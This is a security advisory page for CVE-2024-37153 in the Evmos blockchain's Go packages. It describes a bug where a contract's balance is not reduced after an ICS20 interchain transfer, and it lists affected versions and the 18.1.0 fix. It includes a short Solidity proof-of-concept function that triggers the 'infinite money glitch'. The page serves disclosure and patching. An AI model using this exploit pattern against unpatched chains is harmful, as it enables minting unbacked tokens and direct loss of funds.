NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Go

CVE-2024-37153: Contract balance not updating correctly after interchain transaction

highCVSS 3.1 7.5GHSA-xgr7-jgq3-mhmc

Summary Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server. Details We discovered a bug walking through how to liquid stake using Safe which itself is a contract.

Published Jun 6, 2024 · Updated Jun 17, 2024

Affected packages

github.com/evmos/evmos/v18

Ecosystem
Go
Affected
<= 18.0.0
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v18

github.com/evmos/evmos/v17

Ecosystem
Go
Affected
<= 17.0.1
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v17

github.com/evmos/evmos/v16

Ecosystem
Go
Affected
<= 16.0.4
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v16

github.com/evmos/evmos/v15

Ecosystem
Go
Affected
<= 15.0.0
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v15

github.com/evmos/evmos/v14

Ecosystem
Go
Affected
<= 14.1.0
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v14

github.com/evmos/evmos/v13

Ecosystem
Go
Affected
<= 13.0.2
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v13

github.com/evmos/evmos/v12

Ecosystem
Go
Affected
<= 12.1.6
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v12

github.com/evmos/evmos/v11

Ecosystem
Go
Affected
<= 11.0.2
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v11

github.com/evmos/evmos/v10

Ecosystem
Go
Affected
<= 10.0.1
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v10

github.com/evmos/evmos/v9

Ecosystem
Go
Affected
<= 9.1.0
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v9

github.com/evmos/evmos/v8

Ecosystem
Go
Affected
<= 8.2.3
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v8

github.com/evmos/evmos/v7

Ecosystem
Go
Affected
<= 7.0.0
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v7

github.com/evmos/evmos/v6

Ecosystem
Go
Affected
<= 6.0.4
Fixed in
18.1.0
Check
go list -m github.com/evmos/evmos/v6

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._

Details

We discovered a bug walking through how to liquid stake using Safe which itself is a contract. The bug only appears when there is a local state change together with an ICS20 transfer in the same function and uses the contract's balance, that is using the contract address as the sender parameter in an ICS20 transfer using the ICS20 precompile

Proof of Concept

// This function does not reduce the contract balance correctly but liquid stakes correctly 
function transfer(
        string memory sourcePort,
        string memory sourceChannel,
        string memory denom,
        uint256 amount,
        string memory receiver,
        string memory evmosReceiver
    ) external returns (uint64 nextSequence) {
        counter += 1; # Only happens when there is a local state update together with an ICS20 Transfer
        Height memory timeoutHeight =  Height(100, 100);
        string memory memo = buildLiquidStakeMemo(receiver, evmosReceiver);
        return ICS20_CONTRACT.transfer(
            sourcePort, 
            sourceChannel,
            denom,
            amount,
            address(this), # this is the sender address which is the contract
            receiver,
            timeoutHeight,
            0,
            memo
        );
    }

Impact

This is in essence the "infinite money glitch" allowing contracts to double the supply of Evmos after each transaction.

Severity

Based on ImmuneFi Severity Classification System the severity was evaluated to Critical since the attack could have lead to create new supply of EVMOS and therefore lead to Direct loss of funds's value.

Patches

The issue has been patched in versions >=V18.1.0.

For more information

If you have any questions or comments about this advisory:

Reach out to the Core Team in Discord Open a discussion in evmos/evmos Email us at [[email protected]](mailto:[email protected]) for security questions

Credited to Vvaradinov, EvmosDAO.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More Go vulnerabilities

All Go entries